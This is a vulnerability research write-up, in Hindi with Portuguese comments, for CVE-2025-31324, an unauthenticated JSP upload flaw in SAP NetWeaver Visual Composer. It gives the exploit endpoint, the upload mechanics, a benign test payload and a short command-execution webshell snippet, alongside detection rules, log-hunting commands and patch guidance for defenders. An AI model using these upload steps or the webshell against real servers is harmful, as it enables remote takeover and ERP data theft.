
CVE-2025-31324 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, SAP NetWeaver Visual Composer में एक अनप्रमाणित फ़ाइल अपलोड, जिसमें पहचान मार्गदर्शन, MITRE मैपिंग और उपचारात्मक कदम शामिल हैं।
प्रकार: प्रूफ ऑफ कॉन्सेप्ट — भेद्यता अनुसंधान CVE: CVE-2025-31324 CVSS: 10.0 क्रिटिकल (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) स्थिति: पैच किया गया — SAP सुरक्षा नोट 3594142 + 3604119 CISA KEV में जोड़ा गया: मई 2025
⚠️ यह PoC दुर्भावनापूर्ण कोड निष्पादित किए बिना हमले की सतह को मान्य करने के लिए एक हानिरहित JSP फ़ाइल ("Hello World") का उपयोग करता है। केवल अधिकृत वातावरण में पेंटेस्टिंग और डिटेक्शन विकास उद्देश्यों के लिए उपयोग करें।
Developed by: HKK$ cat ./vulnerability_summary.txtCVE-2025-31324 भेद्यता SAP NetWeaver AS Java के Visual Composer Metadata Uploader घटक में निहित है — एक missing authorization check दोष जो किसी भी अनधिकृत हमलावर को /developmentserver/metadatauploader एंडपॉइंट पर POST अनुरोध भेजने की अनुमति देता है, जिसके परिणामस्वरूप मनमानी फ़ाइलों का अप्रतिबंधित अपलोड होता है।
यह CVE विशेष रूप से SAP NetWeaver Visual Composer Framework संस्करण 7.50 को प्रभावित करता है, जिसका CVSS स्कोर 10.0 है — अधिकतम संभव।
थ्रेट एक्टर्स ने जनवरी से मई 2025 तक इस भेद्यता का सक्रिय रूप से शोषण किया, जिससे दुनिया भर के सैकड़ों सिस्टम में लगातार वेबशेल तैनात किए गए।
$ cat ./impact.txtउच्च विशेषाधिकारों के साथ संचालित होने और ERP डेटा के करीब होने के कारण, शोषण के बाद SAP ABAP स्टैक या कनेक्टेड डेटाबेस तक पार्श्विक गति (lateral movement) तुच्छ है।
वास्तविक हमलों में पूरी शोषण श्रृंखला:
Upload JSP (CVE-2025-31324)
→ Webshell persistente no servidor
→ RCE como processo SAP (alta privilégio)
→ Acesso a dados ERP (Finance, HR, Supply Chain)
→ Lateral movement para ABAP / DB
→ Deploy de frameworks C2 (ex: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: arquivo JSP/WAR/qualquer ──────────► │ Metadata Uploader │ │
│ (sem autenticação) │ │ │
│ │ ❌ Sem verificação │ │
│ │ de auth │ │
│ │ ❌ Sem validação │ │
│ │ de extensão │ │
│ │ ❌ Sem sanitização │ │
│ │ de conteúdo │ │
│ └────────┬────────────┘ │
│ │ │
│ Arquivo salvo em: │
│ /irj/root/ ou similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
/developmentserver/metadatauploader SAP Visual Composer का हिस्सा है — व्यावसायिक विश्लेषकों के लिए बिना Java कोड के SAP एप्लिकेशन बनाने हेतु एक लो-कोड विकास उपकरण। एंडपॉइंट को विकास के दौरान मेटाडेटा मॉडल प्राप्त करने के लिए डिज़ाइन किया गया था। हालाँकि यह घटक NetWeaver की डिफ़ॉल्ट कॉन्फ़िगरेशन में सक्षम नहीं है, Onapsis ने बताया कि यह उत्पादन वातावरण में व्यापक रूप से सक्रिय है।
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
JSP ही क्यों, दूसरा प्रारूप क्यों नहीं?
SAP NetWeaver AS Java एक JVM चलाता है — .jsp फ़ाइलों की व्याख्या सर्वलेट कंटेनर (एम्बेडेड Apache Tomcat) द्वारा बिना पूर्व संकलन के सीधे की जाती है। यह JSP को Java वातावरण में वेबशेल के लिए आदर्श प्रारूप बनाता है।
हानिरहित सामग्री ("Hello World") का चयन PoC के लिए जानबूझकर किया गया है:
वास्तविक शोषण में, सामग्री कमांड निष्पादन के साथ एक JSP वेबशेल होगी, उदा:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — यह Content-Type क्यों?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
एंडपॉइंट एक multipart/form-data अनुरोध की अपेक्षा करता है — वही प्रारूप जो फ़ाइल अपलोड के HTML फ़ॉर्म द्वारा उपयोग किया जाता है। यह Visual Composer के मूल डिज़ाइन में जानबूझकर है (विकास मॉडल का अपलोड)।
requests लाइब्रेरी स्वचालित रूप से multipart की boundaries बनाती है जब files= पास किया जाता है — Content-Type: multipart/form-data; boundary=... हेडर आंतरिक रूप से उत्पन्न होता है।
verify=False: TLS प्रमाणपत्र सत्यापन अक्षम करता है — आवश्यक है क्योंकि SAP वातावरण अक्सर self-signed प्रमाणपत्रों का उपयोग करते हैं। उत्पादन में, verify='/path/to/ca-bundle.crt' का उपयोग करें।
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| घटक | अर्थ |
|---|---|
:50201 | SAP ICM (Internet Communication Manager) HTTPS की डिफ़ॉल्ट पोर्ट |
/developmentserver/ | Visual Composer का विकास सर्वलेट |
metadatauploader | मेटाडेटा अपलोड का विशिष्ट एंडपॉइंट |
CONTENTTYPE=MODEL | एंडपॉइंट द्वारा अपेक्षित सामग्री प्रकार |
CLIENT=1 | SAP मंडेंट (client) — 000, 100, 001 सामान्य हैं |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Exploração do endpoint /developmentserver/metadatauploader
# sem autenticação via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell uploaded → executado pelo servlet container (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell como mecanismo de persistência
# Arquivo JSP persiste no filesystem do servidor entre reinicializações
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nomeados como arquivos legítimos SAP (ex: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Pós-RCE: enumerar processos, usuários, paths SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Acesso ao ABAP stack, bancos de dados conectados via RCE
tactic: Collection
- T1005 # Data from Local System
# Acesso direto a dados ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtProduto: SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versão: 7.50 (todas as builds antes do patch de abril/maio 2025)
Patches:
SSN 3594142 → Patch inicial (abril 2025) — mitiga file upload
SSN 3604119 → Root cause fix via CVE-2025-42999 (maio 2025) — endereça a causa raiz
SSN 3578900, 3620498, 3621771, 3634501 → Notas complementares de hardening
CISA KEV: ambos CVE-2025-31324 e CVE-2025-42999 foram adicionados ao catálogo
$ cat ./detection_opportunities.md# Regra: POST não autenticado para o endpoint do Metadata Uploader
# Fonte: SAP Web Dispatcher / ICM access log
Condição:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
Severidade: CRÍTICA — investigar imediatamente
# Log SAP ICM — padrão suspeito:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# Regra: GET para arquivo .jsp criado recentemente fora de paths legítimos SAP
Condição:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [lista de JSPs legítimos conhecidos]
# Processo filho suspeito do SAP JVM
# Fonte: Sysmon / EDR process creation
Condição:
- parent_process: java.exe ou jstart.exe
- child_process: cmd.exe OU powershell.exe OU sh OU bash
- command_line CONTAINS: -c OU .socket OU .call( OU .spawn(
Red Canary ने Linux वातावरण में CVE-2025-31324 के शोषण के लिए निम्नलिखित डिटेक्शन पैटर्न प्रलेखित किया है: python प्रक्रिया जिसमें -c तर्क .socket और .call( या .spawn( के साथ संयुक्त है — वेबशेल के बाद रिवर्स शेल का संकेत।
# Buscar requests POST para o endpoint vulnerável nos últimos 90 dias
# Diretório de logs: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Listar JSPs criados recentemente no diretório web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORIDADE: CRÍTICA — Patch imediato
1. Verificar se o componente está ativo:
NWA → Configuration → Infrastructure → Java System Properties
Procurar: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Se não for necessário → DESABILITAR o Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Aplicar patches obrigatórios (em ordem):
SSN 3594142 ← crítico (file upload)
SSN 3604119 ← root cause (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (hardening adicional)
4. Configurar JVM Serial Filter (pós-patch):
NWA → JVM Parameters → adicionar filtro de classes maliciosas
5. Restringir acesso de rede ao endpoint no Web Dispatcher / Firewall:
BLOQUEAR: /developmentserver/* para IPs externos
PERMITIR: apenas hosts de desenvolvimento autorizados
6. Verificar IOCs — buscar webshells implantados antes do patch:
Analisar logs ICM desde janeiro 2025
Buscar arquivos .jsp com conteúdo suspeito em /irj/
$ cat ./usage.sh# Instalar dependência
pip install requests
# Editar a URL no script antes de executar:
# url = "https://<seu-host-lab>:<porta>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Executar
python cve_2025_31324_poc.py
# Verificar se o upload funcionou (arquivo deve ser acessível)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Resposta esperada se vulnerável: HTML com "Hello World"
# Resposta esperada se patchado: 404 ou 403
$ cat ./timeline.txtJan 2025 Início da exploração ativa in-the-wild (detectado retroativamente)
Abr 24, 2025 SAP publica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Abr 28, 2025 CISA adiciona ao Known Exploited Vulnerabilities Catalog
Abr 29, 2025 Rapid7, Qualys, Red Canary publicam análises técnicas
Mai 07, 2025 Onapsis + Mandiant (Google Cloud) publicam briefing conjunto
Mai 13, 2025 SAP publica SSN 3604119 (root cause via CVE-2025-42999, CVSS 9.1)
Mai 15, 2025 CISA adiciona CVE-2025-42999 ao KEV catalog
Mai 20, 2025 Deadline CISA para patching em sistemas federais dos EUA
Jun 25, 2025 Unit 42 encerra monitoramento ativo da campanha
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Missing auth em endpoints de "desenvolvimento" é um vetor clássico subestimado
[+] CVSS 10.0 significa: sem auth + rede + full RCE — trifecta mais crítica possível
[+] Visual Composer não é padrão mas estava amplamente ativo em produção — risco de shadow features
[+] JSP como webshell é especialmente furtivo: sem compilação, executado diretamente pelo container
[+] Threat actors exploraram por 3+ meses antes da divulgação pública — SOC detection é crítico
[-] verify=False no PoC — em pentest real, documentar o cert self-signed e usar verify=caminho
[-] CLIENT=1 hardcoded — produção pode usar 000, 100, 200; enumerar antes
[-] PoC não verifica se o arquivo ficou acessível após upload — adicionar GET de confirmação
[→] Melhorias: argparse para host/port/client, verificação automática pós-upload, saída em JSON
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only